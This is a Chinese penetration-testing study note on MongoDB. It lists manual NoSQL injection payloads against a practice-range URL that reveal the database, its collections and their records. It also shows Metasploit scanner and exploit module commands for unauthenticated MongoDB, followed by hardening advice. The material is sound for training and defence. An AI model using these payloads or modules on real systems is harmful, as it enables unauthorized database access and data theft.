渗透测试-32:MongoDB

基础知识

在线靶场

SQL手工注入漏洞测试(MongoDB数据库)

# 构造连接测试回显
/new_list.php?id=1'}); return ({title:1,content:'2

# 爆库
/new_list.php?id=1'}); return ({title:tojson(db),content:'1

# 爆表
# 查询有的集合(集合相当于mysql的表)
/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
# find函数用于查询,0是第一条数据
/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

# MD5 破解:https://www.cmd5.com/

MSF渗透Mongodb

MongoDB 默认端口 27017,当配置成无验证时,存在未授权访问,使用 msf 中的 scanner/mongodb/mongodb_login 模块进行测试,使用 navicat 连接获取数据库中的内容。

# 未授权验证扫描
use auxiliary/scanner/mongodb/mongodb_login
set rhosts <目标靶机IP>/24
set threads 10
exploit

# exp 利用
use exploit/linux/misc/mongod_native_helper
set password <密码>
set username <账户名>
set rhosts <目标靶机IP>
exploit

自动化评估

NoSQLMap

整改加固建议

本地监听

如 MongoDB 只需在本地使用,建议只在本地开启监听服务,使用 --bind_ip 127.0.0.1 绑定监听地址

mongod --bind_ip 127.0.0.1 --dbpath /tmp/test

或着在配置文件中指定监听 IP,Linux 下默认配置文件为 /etc/mongod.conf

# network interfaces
net:
  port: 27017
  bindIp: 127.0.0.1

指定配置文件启动

mongod --config /etc/mongod.conf

3.0 及之后版本的 MongoDB,监听服务默认只对 127.0.0.1 开放

限制访问源

如果仅对内网服务器提供服务,建议禁止将 MongoDB 服务发布到互联网上,并在主机上通过防火墙限制访问源 IP

启动基于角色的登录认证功能

# 以无访问认证的方式启动 MongoDB
mongod --dbpath /data/db

# 未开启认证的环境下,登录到数据库
mongo --host 127.0.0.1 --port 27017

# 切换到 admin 库
use admin

# 创建一个系统用户管理员账号(3.0 之前版本使用 db.addUser 方法创建用户)
db.createUser(
  {
    user: "<用户名>",
    pwd: "<密码>",
    roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
  }
)

# 重启 MongoDB 服务,开启访问认证启动时添加 --auth 参数
mongod --auth --port 27017 --dbpath /tmp/test
# 或在配置文件中添加以下内容,指定配置文件启动服务
security:
  authorization: enabled
# 指定配置文件启动 MongoDB
mongod --config /etc/mongod.conf

# 使用系统用户管理员账号登录
mongo --port 27017 -u "<用户名>" -p "<密码>" --authenticationDatabase "admin"

# 也可以在连接 MongoDB 时不指定认证信息,连接成功后通过 db.auth() 方法进行认证
use admin
db.auth("<用户名>","<密码>")

# 创建数据库用户,创建完系统用户管理员账号并通过系统用户管理员登陆后,对每个库创建指定的用户。
# 下面以对 products 库创建一个具有读写权限的用户
use products
db.createUser(
   {
     user: "<用户名>",
     pwd: "<密码>",
     roles: [ "readWrite", "dbAdmin" ]
   }
)

# 使用数据库用户访问指定库
mongo --port 27017 -u "<用户名>" -p "<密码>" --authenticationDatabase "products"